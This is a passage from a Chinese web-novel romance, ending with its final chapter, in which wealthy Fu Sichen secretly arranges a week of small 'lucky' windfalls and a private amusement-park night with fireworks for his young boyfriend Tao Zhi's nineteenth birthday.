走到一半才后知后觉地反应过来,按捺住狂跳的心情匆忙小跑回到宿舍,和傅司珩分享这个好消息。 “我好幸运啊,我平时都不会买这么多东西的。”陶稚真的很开心。 最激动的时间已经过去了,陶稚现在稍微冷静了点儿,拉开自己的椅子,坐下,絮絮叨叨地继续跟傅司珩说话:“就是今天馋零食了,买得比平时多了点儿,没想到就遇到这样天大的好事。” 音孔里传来一声轻笑。 陶稚大概猜到了傅司珩在笑什么,脸有点红。也不知道是掩饰尴尬,还是再度感慨,他重复了一遍,还有互动环节:“我真的蛮幸运的,对吧?” “当然幸运了。”傅司珩附和着他的话。 但忽然话锋一转:“知道了,下次送你去上学,会为你准备零食的,小朋友。” 陶稚:“?” 什、什么啊。突然用这种哄小孩子的语气和口吻……陶稚的脸更红了,但心里暖暖的,很受用:“我不是这个意思,我才没有那么贪吃……上学还要带零食。” 话说到后面,声音越来越小,傅司珩却听清楚了,嗯了声,靠在椅背上,嗓音有点儿慵懒:“嗯,我知道。你不贪吃,是我想给你准备。” 陶稚:.…. “没跟你开玩笑。”陶稚试图将话题转过来:“傅哥,你说我这个星期,会不会有点儿幸运过头了啊。” 惊喜褪去之后,陶稚开始意识到不对劲。回想这一个星期来发生的事情,他好像真的有点幸运过头了,星期一下午去买奶茶,抽奖买到了特价0.1元一杯的奶茶,星期二在学校食堂吃饭,去的时间有点晚,打菜的时候,阿姨将最后一份小吃免费送给他吃,星期三线上抽奖,抽到价值五百元的商场购物卡。类似这样的事情,每天基本都有1-2次,从星期一到星期五都没有间断过。室友劝他去买彩票,陶稚还真的犹犹豫豫地去了。120元一张,对陶稚来说是豪赌,没想到赌成功了,翻了个倍,净赚240。陶稚人都懵了,也给室友看得看傻了,让陶稚再买一张。但陶稚深知见好就收的道理,没有再继续玩下去。这些东西,虽然都算不上什么大钱,但确实能让陶稚的好心情能维持一整天。陶稚这个星期,每天都过得非常开心。开心得都有点儿得意忘形了,慢半拍地现在才意识到。但傅司珩却说:“有吗?没有过头,幸运是好事。”“运气这么好,开不开心?”他问。“开心的。”陶稚握着手机直点头。傅司珩笑了声:“开心就好。”话是这么说啦,可他还是觉得有点儿不对劲。其实有那么一瞬间,他确实怀疑过是不是傅司珩动了什么手脚在故意哄他开心。但是转念一想,傅司珩远在十几公里之外,怎么动手脚啊,而且都是一些小钱,不像是他会做的。陶稚觉得,傅司珩出手,应该是以百万为单位。从傅铮那么会花钱就能看出来。陶稚的心又放了回去,又恢复到了自己真的很幸运,以前可从来没有过这种幸运的喜悦之中。傅司珩听他说完,时不时附和两句,过了一会儿才开口问正事:“周五过来还是周六?” “周六吧。”陶稚想了想,告诉傅司珩:“今天晚上我有点儿事,周六做完家教去找你。” 周六,陶稚的生日。 “好。”傅司珩爽快答应下来。 两人又聊了几句,陶稚想挂电话了。 但临挂断之前,他忽然喊了傅司珩一声。 傅司珩:“嗯?” “你说。”陶稚犹豫了几秒,才试探性地开口问:“是不是我的生日快到了,所以才运气这么好呀。” 傅司珩垂眼笑了笑。 “有可能。” 陶稚明白了。片刻后,他抿了抿唇:“傅哥,这是我过过最好的生日前夕。” “谢谢你。“ 傅司珩一愣。 “好啦好啦。”陶稚有点害羞,快速说完:“明天见。” 音孔里传来忙音。 小聪明宝宝。 傅司珩放下手机。 “我真服了你了。”坐在傅司珩办公室沙发上的卫煜实在没忍住,翻了个白眼,还伸出手:“我听你们打电话,鸡皮疙瘩真是掉一地,你要看吗?” 傅司珩:”。” “滚。”傅司珩非常冷酷。 卫煜:“啧。” 这变脸速度真是绝了。 但受惯了他冷眼的的卫煜完全不放在心上。 他又将手放下去,抿了一口茶,不是很理解地说:“我说你这几百块几百块地往外给,也真是不嫌麻烦哈。” “他要真缺钱花,你直接给他转钱不是方便得多,你轻松,他也高兴。” 搞这几百块的花头有什么意思?卫煜不明白。 傅司珩也没指望他明白,愣愣的:“你懂什么。” “?哈。”卫煜被傅司珩好笑到了。 他指指自己,嚣张得很:“我啊?我?我不懂啊?你说我啊?” “不是,你这话说得好像只有你在谈似的?我跟我女朋友在一起三年了,我给她过了三个生日了,我能不懂?” 傅司珩没搭腔。 他剪开雪茄,又看见卫煜翻了个白眼,锐评:“过家家。” 但说完,他话锋一转:“你这过家家还挺有用的,至少对你小男朋友有用,刚刚那兴奋的声音,我到这里都能听见。” “是吗。”傅司珩漫不经心:“那便宜你了。” 卫煜:??? 便宜我什么??? 你这人说话真的怪得很。 卫煜说不过傅司珩,自己憋着口气在胸腔里堵了一会。 那口气顺了,他才重新开口:“不过你这确实比直接给钱要费心思得多。” 学不来,根本学来不来。 而且傅司珩也很让卫煜觉得意外。 他从小跟傅司珩一起长大,傅司珩一直以来都是孤家寡人一个,看上去对谈恋爱,男女之情没有半点兴趣的样子,卫煜也好奇过,将来他有个女朋友会是什么样的。 大学的时候,卫煜觉得不管是那种乖乖女,还是大姐大,感觉都跟傅司珩挺合适的,也有不少人明里暗里地暗示过,但傅司珩没兴趣就是没兴趣。 从16岁情窦初开的年纪,到22岁大学毕业,一个都没有谈过,就爱玩那点车、攀岩和帆船。 后来大学毕业,傅司珩他爹去世之后,他接手家业,性格对比大学时的那种淡淡的吊儿郎当,变得沉稳了许多,还是一年比一年沉稳。 以至于现在基本完全看不到过去的痕迹。 卫煜又觉得,更适合傅司珩的,大概是那种名流千金,再商业联姻,各干各的事情,这辈子也就能看到头了。 寡淡无味的人生。 每次说不过傅司珩的时候,卫煜都暗翟戳戳脑补他很惨。这是唯一的安慰了。 但是这一个不留神,傅司珩竟然谈了个小十岁的男朋友,心性也跟着活回去了。 卫煜是见惯了给钱给车子给房子的,傅司珩搞得这么纯爱,让他莫名其妙有种被比下去的感觉……只能说还好沈心媛不知道。 因为他想通了之后,觉得沈心媛应该也会很吃这套。 靠,让傅司珩装到了。 卫煜此刻心情复杂。 傅司珩没有放在心上,神色依旧是淡淡的:“这辈子也就只会对他费心了,有什么好麻烦的,他高兴就行了。” 卫煜:“.…." 说你装,你还真装上了是吧。 “行了,游乐园的事情谢谢你了。”傅司珩达到了自己的目的,开始亳不客气地赶人:“但麻烦你当天不要出现。” 卫煜:“…你这是人能说出来的话?” 卸磨杀驴,不过如此了。卫煜对着傅司珩竖了个中指。 90、生日(正文完) 陶稚上完家教课来到傅司珩家里,正好是中午十二点半。 他十二点下课,雇主家和傅司珩家里就隔着两栋楼,十几分钟就可以走到。 下课后没多久,他接到了父母和妹妹的视频通话,于是在小区里散了会儿步,还顺便给父母看了小区里的黑天鹅。 几人聊了一会儿,陶稚收到了生日祝福和生日红包,挂断电话后,这才加快脚步去找傅司珩。 一进门,率先看到了一捧红玫瑰。 陶稚站在门口,盯着玫瑰花好几秒,这才侧眼,看向朝他走来的傅司珩。 “这是——”陶稚疑惑开口。 “生日快乐。”傅司珩来到陶稚的面前,低头亲了亲他的额角:“里面有生日礼物,打开看看。” 玫瑰花的中间,有一个黑色的绒盒,陶稚回神后,听到傅司珩的话,伸手去拿。 打开,盒子里是一条项链。 白金链条,下面坠着的图案看起来像是兔子脑袋,闪烁着钻石耀眼的光芒。 一整个兔子脑袋都是钻石做的。 浅粉与白钻交织,看上去璀璨夺目,精致又漂亮。 陶稚将项链拿出来托在掌心,瞳孔微微睁大:“好可爱,是真钻石吗?” 这话问得有点笨了,刚说出口,陶稚立马就有点不好意思:“我还以为钻石只有一个颜色呢。” “有很多颜色,下次带你去看。”傅司珩说:“知道这个图案是什么吗?“ “兔子脑袋?”陶稚天真地说。 一个漂亮的吊坠,被陶稚说得莫名有点血淋淋的感觉,傅司珩失笑,扯了下他的脸颊,告诉他:“这叫小白兔狸藻。” “是一种植物,吊坠是仿它的花型做的。” “这样哦。”陶稚懂了。 傅司珩嗯了声,从陶稚的手里接过项链,想要给他戴上。 陶稚表情有点犹豫。 “一年就这么一次,我也没多少机会送礼物给你。”傅司珩的下巴蹭了蹭陶稚柔软的发丝,抬手将冰凉的链条环在陶稚的颈间。 戴好后,陶稚垂眼拿起兔头。 “肯定好贵。”还是忍不住感慨。 傅司珩揉了下他的脑袋,转移话题:“饿了没有,吃饭去。中午没有蛋糕,晚上才有。” 哦。 明白。 陶稚点头。 是这样的,蛋糕都是晚上才吃的。 吃完饭后,陶稚站在洗手间,对着镜子又看了会儿项链之后,出来看见玫瑰,他跑到客厅从橱柜里拿出了好几个花瓶。 傅司珩送的礼物他都喜欢,不管是项链还是玫瑰。 所以玫瑰不能只放在客厅。 他把这一大捧玫瑰分装在好几个花瓶里,灌了点水之后,露台放一瓶,客房放一瓶,傅司珩的房间放一瓶,还有餐厅放一瓶。 最后一瓶放在客厅,陶稚找了个喷雾瓶,里面装满水后,他对着玫瑰花喷了好几下,花瓣被浸湿后看上去好似重新有了生机,有了更加鲜艳的光泽。 傅司珩从书房出来看到的就是陶稚蹲在茶几旁,认真摆弄鲜花的场景。 可爱。 傅司珩朝他走过去,同样在他身侧半蹲着:“喜欢花?” “喜欢你送的花。”陶稚坦率地说。 虽然说的时候有点小害羞,但他并不吝啬告诉傅司珩他的真实感受。 一个害羞又胆大真诚的小朋友。 “而且这是我第一次收到花。”陶稚眼睛亮亮的。 傅司珩挑了下眉。 第一次? 不算吧。 就傅司珩知道的,傅铮向他表白时,可是订了不少花。 …… 不过陶稚没有接受,应该就不算第一次。 所以陶稚说得对,他的第一束花,就是他送的。傅司珩给自己哄高兴了,低头亲了下陶稚的额角:“我很荣幸。” 下午的时间,傅司珩教陶稚游泳。 这对于傅司珩来说是个不小的考验。 因为晚上要出门,为了给陶稚留体力,傅司珩原本是打算白天规规矩矩的。结果陶稚换完泳裤出来…… 这次倒是很正常的泳裤,浅蓝色的,前面有白色的系带,还系了个蝴蝶结……可爱得要命。 还有,裸露在外面的粉白色的胸膛。 上周的吻痕基本上已经消了,只是有些深的,五天过去了,依旧隐约能看出来些痕迹。 傅司珩看得有点心痒,没忍住,咬了几口他的小胸脯,然后才开始教他游泳。 陶稚:“ 游泳游累了,睡了一个小时后,下午六点他们出门。 游乐园的夜场从六点半开始。 两人排队进去,正巧在门口遇到了卫煜和沈心媛。 傅司珩:“。“ “心媛姐?卫哥!”陶稚见到他们挺意外的,眼睛亮了一下,热情地跟他们打招呼:“好久不见啊!没想到会在这里遇到你们。” 打完招呼,他觉得好像有哪里不对劲,但具体又说不上哪里不对劲。 他想了想—— “生日快乐啊小陶稚。”卫煜笑着递出自己早已准备好的礼物。 虽然傅司珩不让他来,但他准备礼物了,应该就不算擅自来了吧? “这是我跟你心媛姐送给你的礼物,19岁了,恭喜你长大了一岁。” “?” 啊。 他们是怎么知道生日的啊? 陶稚懵懵地收下礼物,低头看了眼,发现是部耳机。 卫煜跟陶稚也不算熟,不知道他喜欢什么,但是大学生嘛,送什么耳机啊,电子产品,游戏机什么的总没错。 “谢谢您,卫哥。”陶稚还是有点茫然,不知道到底哪里不对,直到他看到沈心媛打量又好奇的眼神。 陶稚心里咯噔了一下。 他想起来了! 他在卫煜以及沈心媛的面前……是女生来着!!! ……怎么把这件事给忘了! 陶稚表情顿时变得尴尬,挠了挠脸,抬眼的时候,正好又跟沈心媛的目光对上。 “心媛姐。”陶稚硬着头皮喊了他一声。 沈心媛笑眯眯的:“小稚,生日快乐。” 来在之前,卫煜就有问她,元旦的绵绵还记得吗?傅铮的女同学。 沈心媛说记得。 卫煜告诉她,对方是个小男生,沈心媛当时还不信来着。 现在信了。 对方真的是个小男生。 男装女装虽然有差距,但眉眼轮廓什么的,大概能看出来一点。 她当时竟然没有发现。 沈心媛十分感叹,止不住地盯着陶稚看。卫煜轻咳了两声,看了看傅司珩的脸色后,转移话题:“是挺巧的,哈哈。” “……. 其实并没有。 卫煜家是做娱乐行业的,S市的会所,酒吧,包括游乐园什么的,大部分都是他家的产业。 包括傅司珩今天包下的游乐园夜场。 今天的游乐园已经被傅司珩包场了,但他却让卫煜在网上放了些免费的票。 人数大概控制在热闹,但又不显得拥挤的范围内。 果然他没有猜错,陶稚确实很喜欢这样的氛围,看别人玩都很开心。 和卫煜他们分别之后,陶稚去玩的几个项目,排队时间都很短,这简直是不能想象的。 陶稚以前没来过游乐园,只有一次来兼职,大夏天的,排队人数特别特别多,还听见一个情侣抱怨说,一个项目,光是排队都要排两个小时,也不知道到底是来玩的,还是来受罪 的。 陶稚听了一嘴,以为游乐园都是这样,寒假回家前夕,傅司珩说想带他玩都拒绝了,怕自己第二天坐车累到。 没想到夜场和白天竟然截然不同。 怪不得晚上的票要贵点呢。 陶稚玩得很开心,一个小时下来,体验了不少项目,还神采奕奕的。 坐完过山车后,两人的脚步放慢了一些,没有再赶着去排队玩下个项目,而是在游乐园地逛了起来。 期间,陶稚看见了一辆冰淇淋车,兴奋地跑过去。 “大晚上的吃冰淇淋?”傅司珩有点不赞同。 “一点点,就吃一点点。”陶稚对傅司珩比了个手势:“就买一份,我们两个人分着吃,好吗?” 一份就巴掌大,再冷也冷不到哪里去,而且还是两人分吃,就是尝个味而已。 傅司珩答应了。 买冰淇淋的钱是陶稚出的。 傅司珩买了票,礼尚往来,陶稚请他吃了个冰淇淋,糖葫芦,热狗,还有餐车卖的小吃。 游乐园里的东西还挺贵的。 但是陶稚今天一点儿都不心疼,这钱花得很开心。 两人吃完小吃之后,正好散步到鬼屋附近。 陶稚看着鬼屋门口那显眼的招牌和七窍流血的恐怖画面,有点犹豫要不要叫上傅司珩一块儿进去。 正考虑着,有几个大学生尖叫着啊啊啊可啊啊地跑出来,声音惊恐尖叫,很自然地就将陶稚的目光吸引过去了— “卧槽,吓死个人了啊啊啊啊!你们懂我牵着鬼的手走了一整个走廊的救赎感吗?!”“我回头的那一瞬间!!!” “太恐怖了,我草,我心脏现在还在扑通扑通跳,根本停不下来……” “是很恐怖。但是你们有没有觉得刚刚门口的npc有点子帅?我就瞥了一眼,然后就被你们拖出来了……不然我们再回去看看?” “?” “???你疯啦?!” 几个大学生在鬼屋门口激情讨论着,陶稚盯着他们看了好 会儿,见他们说完了,才上前跟他们打招呼,试探着开口:“…学姐?” 激烈的讨论声突然消失,几个女生一齐回头,最中间的,正好就是志愿者协会社团的社长。 “小陶啊!” 社长看到他后很惊喜,连忙走过去,拍了下他的肩膀:“你也在这里玩?这真是太巧了!” “是啊,好巧。”陶稚开心地点头。 除了社长之外,其余几个和她同行的男男女女,都是陶稚在社团里认识的熟人,几人互相打过招呼后,社长好奇地问:“你也是抽奖抽到的零元游吗?” 说来也是很幸运,学校论坛的版主在论坛放出了今晚游乐园夜场免费玩的抽奖活动,票还挺多且不限次数。 她抽到了好几张,原本也有帮陶稚留一张,结果陶稚婉拒了,说他这周六有事,来不了。 没想到兜兜转转又在游乐园里碰着了。 “真是太巧了。”学姐感叹,目光又注意到了陶稚身旁的傅司珩,挑了下眉:“小陶,这就是你那位哥哥啊。”. ……啊。”陶稚应了声,点点头。 但停顿了一秒,又重新说:“这是我男朋友。“ “!!!” 就这么承认了! 傅司珩听到后十分意外,表情略微有些惊讶。 学姐则是倒吸了一口凉气:“原来如此!” 她就说! 嗑到真的了! “好了好了,不打扰你们小情侣的二人时间了。”虽然很激动,但很明显人家是来约会的,她不好继续缠着陶稚说来说去的:“你们去玩吧,我们也该走了!”“嗯嗯。”陶稚点头,和对方告别:“学姐拜拜。”和学姐他们分开之后,陶稚后面去玩海岛船,又碰到了室友,还有熟悉的几个同学。再加上前面的卫煜和室友……. 还有聊天时不经意透露出来的抽奖活动。 陶稚虽然没有问傅司珩,但他心里已经有了答案。傅司珩也没有打算瞒着陶稚,瞒也瞒不住。晚上九点,游乐园有一场烟花秀。很突然的,游乐园里的灯光忽然全部熄灭,世界陷入一秒的黑暗。陶稚还没来得及恐慌,傅司珩就牵住了他的手。 下一秒,尖锐的呼啸声划破黑暗,绚烂的烟花点燃了天空。 绽放,落下,一声声的呼啸与炸开的声音不绝于耳。 陶稚看呆了。 烟花漂亮的颜色映照在他闪着亮光的眼眸中。 陶稚在看烟花。 傅司珩在看他。 微微闪动着的眸光,嘴唇张开,仰脸看着夜空中持续不停地烟花。 最后的最后,停留在夜幕中的是: Happy birthday。 后面跟着一个小小的,桃子图案。 桃子上面,还有两个兔耳朵。 这个图案在空中停留得最久。 人群中,不知道是谁先开始说出的第一句生日快乐。 接着便有人附和,一声比一声响亮,此起彼伏,全是祝福。 陶稚是个很容易害羞的小男生,脸颊都红了,但眼睛是亮的。 很亮。 比天边的星星还要闪亮。 …… 城堡旁边就是摩天轮。 但今天的摩天轮不对外开放。 只对寿星开放。 陶稚跟傅司珩一起上去,坐下之后,他先是看了傅司珩一会儿,然后抿了抿唇,对他说:“傅哥,谢谢你。” “不用跟我说谢谢。”傅司珩坐在陶稚的对面。 摩天轮转动得很慢,陶稚的手机忽然响了几声,他拿出来看信息。 学姐很敏感,认出了烟花上的小桃子大概是他,跟陶稚说生日快乐,还有感谢他男朋友的游乐园赞助。 陶稚又抬头看向傅司珩,问道:“你是不是包场了啊?” 傅司珩嗯了声。 追陶稚的时候,傅司珩整天跟在陶稚的身边,当然知道哪些人是他的朋友,和他关系比较好。 邀请了陶稚相熟的同学朋友室友,其他的在网上搞了个抽奖,大概控制人数在千人左右。 既不会显得拥挤,也不会空荡荡的没有热闹的气息。 陶稚很感动。 他想说谢谢,但傅司珩不让他说谢谢,陶稚挠了挠脑袋,垂下眼,目光扫到屏幕,愣了一下。 “谁?”傅司珩敏锐地发现了小男朋友的表情和刚刚有点不一样。 陶稚抬头,眨了眨眼:“是………傅铮。” “他祝我生日快乐,还有。”陶稚小声的:“他问我礼物收到没有。” 傅铮送的礼物是一台相机。 今天早上送的。 但陶稚却并没有见到傅铮,是早上离开宿舍时,看见门口有个礼物。 陶稚回复傅铮,说谢谢他,以及礼物很喜欢。 回复完后,他没有再看手机,而是和傅司珩面对面坐着—— 一分钟。 “宝贝,过来。”傅司珩喊了陶稚一声。 陶稚乖乖的起身。 傅司珩原本是想陶稚过来后坐在他的身侧,没想到陶稚站起后,主动坐在了傅司珩的膝上。 横坐着。 傅司珩意外地挑了下眉。 陶稚挠了挠有些发烫的耳垂。但没有起身,只眼睛看向外面,一副非常认真的样子。 傅司珩笑了声,手臂环住他。 摩天轮缓慢转动着,两人看着外面的景色,过了一会儿,傅司珩才开口:“喜欢相机?还是喜欢摄影?” “嗯?还好吧。”陶稚说:“我没有什么爱好,偶尔会拍点风景照发在朋友圈,大概因为这样,傅铮才会送我相机吧,我不会用相机。” 只会按快门。 傅司珩:“这样。” “嗯……”陶稚点头,抿了抿唇。 他平时除了赚钱外,也没有什么喜欢的东西,纯爱兼职。 傅司珩看了他一眼。 “今年暑假带你海边玩好不好?”傅司珩将陶稚抱在怀里,下巴蹭着他的额角:“带你潜水,学冲浪,开游艇。” “然后再带你去观鸟,山顶看星星,怎么样?” “等小陶同学攒到了足够的钱,我们还可以去东非大草原,坐热气球看动物迁徙。” “喜欢动物吗?你好像平时会看些纪录片。” “……喜欢。”陶稚的脑袋转了回来,呆呆地看着傅司珩。 “嗯,这也是爱好。”傅司珩圈着他的手腕说:“再好好锻炼身体,有假期的话就带你去登山。” “也可以学点乐器。” “乐器?”陶稚眨了眨眼:“乐器不都是要从小学吗?” “学着玩,又不去考试。”傅司珩笑了笑:“还不用花钱请老师,我能教你。” “你感兴趣的东西,我都能教你。你可以慢慢尝试,全部都尝试一遍,然后看看自己喜欢什么。” “滑雪喜欢吗?”傅司珩问。 “喜欢的。”陶稚点头:“但我不是很会。” “没关系,今年元旦再带你去进阶场玩。”傅司珩说。 摩天轮升至最高点,璀璨夜景像是画卷一样在陶稚面前展开。傅司珩口中对于未来的探索,也如同画卷一样,徐徐展开。 接下来是顺遂的,一帆风顺的人生。 勇敢勤劳的小桃子,将前半生的所有苦难全都熬了过去。剩下的,是光明璀璨的未来。 “生日快乐。”傅司珩在摩天轮的最高处对他表白。 “我爱你。” 正文完